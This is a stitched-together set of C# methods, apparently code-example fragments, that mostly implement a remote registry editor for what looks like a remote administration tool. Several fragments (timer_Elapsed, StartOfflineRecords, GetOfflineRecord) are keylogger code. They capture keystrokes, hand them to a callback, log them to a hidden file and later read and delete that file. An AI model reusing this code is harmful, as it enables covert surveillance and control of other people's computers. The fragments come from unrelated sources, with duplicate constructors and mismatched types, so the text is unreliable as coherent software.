private void OnValueDeletedEventHandler(RegistryEditorAdapterHandler adapterHandler, string keyPath, string valueName) { TreeNode key = GetTreeNode(keyPath); if (key != null) { if (!RegValueHelper.IsDefaultValue(valueName)) { //Remove the values that have the specified name key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); if (tvRegistryDirectory.SelectedNode == key) { lstRegistryValues.Items.RemoveByKey(valueName); } } else //Handle delete of default value { var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); if (tvRegistryDirectory.SelectedNode == key) { var valueItem = lstRegistryValues.Items.Cast <RegistryValueLstItem>() .SingleOrDefault(item => item.Name == valueName); if (valueItem != null) { valueItem.Data = regValue.Kind.RegistryTypeToString(null); } } } tvRegistryDirectory.SelectedNode = key; } }
private void timer_Elapsed(object sender, ElapsedEventArgs e) { if (_strKeys == "") { return; } if (NotiyProc != null) { this.NotiyProc(KeyboardHookEvent.Data, _strKeys); } if (bisOffline) { StringWriteFile(DateTime.Now.ToString() + Environment.NewLine + _strKeys); if (GetOfflineFileLenght() > 1024 * 1024 * 50) { bisOffline = false; RegValueHelper.SetValue("Offlinekeyboard", "false"); if (NotiyProc == null) //离线记录完成,退出离线记录 { CloseHook(); } } } _strKeys = string.Empty; }
public FormRegValueEditBinary(RegValueData value) { _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); hexEditor.HexTable = value.Data; }
public FrmRegValueEditString(RegValueData value) { _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data); }
public override bool SetConfig(string key, string value) { bool successed = RegValueHelper.SetValue(key, value); if (successed) { AppConfig[key] = value; } return(successed); }
public FrmRegValueEditString(string keyPath, RegValueData value, Client c) { _connectClient = c; _keyPath = keyPath; _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); this.valueDataTxtBox.Text = value.Data == null ? "" : value.Data.ToString(); }
private bool GetRenameState() { if (lstRegistryValues.Focused) { return(lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name)); } else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) { return(tvRegistryDirectory.SelectedNode.Parent != null); } return(false); }
public void StartOfflineRecords() { if (bisOffline) { return; } if (StringWriteFile(DateTime.Now.ToString() + " 开始记录" + Environment.NewLine)) { File.SetAttributes(_offlineFileName, FileAttributes.Hidden); RegValueHelper.SetValue("Offlinekeyboard", "true"); bisOffline = true; } }
public string GetOfflineRecord() { if (!File.Exists(_offlineFileName)) { return("无离线记录!"); } bisOffline = false; RegValueHelper.SetValue("Offlinekeyboard", "false"); string str = File.ReadAllText(_offlineFileName, Encoding.UTF8); File.Delete(_offlineFileName); return(str); }
public override string GetConfig(string key) { if (!AppConfig.ContainsKey(key)) { AppConfig[key] = RegValueHelper.GetValue(key); } string val; if (AppConfig.TryGetValue(key, out val)) { return(val); } else { return(null); } }
public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) { _connectClient = c; _keyPath = keyPath; _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); if (value.Data == null) { hexEditor.HexTable = new byte[] { }; } else { switch (value.Kind) { case RegistryValueKind.Binary: hexEditor.HexTable = (byte[])value.Data; break; case RegistryValueKind.DWord: hexEditor.HexTable = ByteConverter.GetBytes((uint)(int)value.Data); break; case RegistryValueKind.QWord: hexEditor.HexTable = ByteConverter.GetBytes((ulong)(long)value.Data); break; case RegistryValueKind.MultiString: hexEditor.HexTable = ByteConverter.GetBytes((string[])value.Data); break; case RegistryValueKind.String: case RegistryValueKind.ExpandString: hexEditor.HexTable = ByteConverter.GetBytes(value.Data.ToString()); break; } } }
public void ChangeValue(string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null) { var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); ChangeRegistryValue(value, regValue); if (tvRegistryDirectory.SelectedNode == key) { var valueItem = lstRegistryValues.Items.Cast <RegistryValueLstItem>() .SingleOrDefault(item => item.Name == value.Name); if (valueItem != null) { valueItem.Data = RegValueHelper.RegistryValueToString(value); } } tvRegistryDirectory.SelectedNode = key; } }
private void OnValueChangedEventHandler(RegistryEditorAdapterHandler adapterHandler, string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null) { var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); ChangeRegistryValue(value, regValue); if (tvRegistryDirectory.SelectedNode == key) { var valueItem = lstRegistryValues.Items.Cast <RegistryValueLstItem>() .SingleOrDefault(item => item.Name == value.Name); if (valueItem != null) { valueItem.Data = RegValueHelper.RegistryValueToString(value); } } tvRegistryDirectory.SelectedNode = key; } }
public FrmRegValueEditString(string keyPath, RegValueData value, ClientMosaique c) { _connectClient = c; _keyPath = keyPath; _value = value; //var serializer = new JavaScriptSerializer(); //var result = serializer.DeserializeObject(value.Data); InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); //if(value.Data == "\"\"") //{ // this.valueDataTxtBox.Text = ""; //} //else //{ this.valueDataTxtBox.Text = value.Data == null ? "" : value.Data.ToString(); //} }
public RegistryValueLstItem(RegValueData value) { RegName = value.Name; Type = value.Kind.RegistryTypeToString(); Data = RegValueHelper.RegistryValueToString(value); }
private void CreateListViewMenuStrip() { this.modifyToolStripMenuItem.Enabled = this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1; this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0; }
public FrmRegValueEditBinary(string keyPath, RegValueData value, ClientMosaique c) { string[] convertToStrArr = null; byte[] byteRewrited = null; _connectClient = c; _keyPath = keyPath; _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); if (value.Data == null) { hexEditor.HexTable = new byte[] { }; } else { if (value.Kind == RegistryValueKind.Binary) { var serializer = new JavaScriptSerializer(); var result = serializer.DeserializeObject(value.Data); object[] convertToObjectArray = (Object[])result; byteRewrited = new byte[convertToObjectArray.Length]; int i = 0; foreach (object obj in convertToObjectArray) { byteRewrited[i] = byte.Parse(obj.ToString()); i++; } } if (value.Kind == RegistryValueKind.MultiString) { var serializer = new JavaScriptSerializer(); var result = serializer.DeserializeObject(value.Data); var objVal = (Object[])result; convertToStrArr = new string[objVal.Length]; int i = 0; foreach (object obj in objVal) { convertToStrArr[i] = obj.ToString(); i++; } } switch (value.Kind) { case RegistryValueKind.Binary: hexEditor.HexTable = (byte[])byteRewrited; break; case RegistryValueKind.DWord: try { var serializer = new JavaScriptSerializer(); var result = serializer.DeserializeObject(value.Data); hexEditor.HexTable = ByteConverter.GetBytes((uint)(int)result); }catch { } break; case RegistryValueKind.QWord: hexEditor.HexTable = ByteConverter.GetBytes((ulong)(long.Parse(value.Data.ToString()))); break; case RegistryValueKind.MultiString: hexEditor.HexTable = ByteConverter.GetBytes((string[])convertToStrArr); break; case RegistryValueKind.String: case RegistryValueKind.ExpandString: hexEditor.HexTable = ByteConverter.GetBytes(value.Data); break; } } }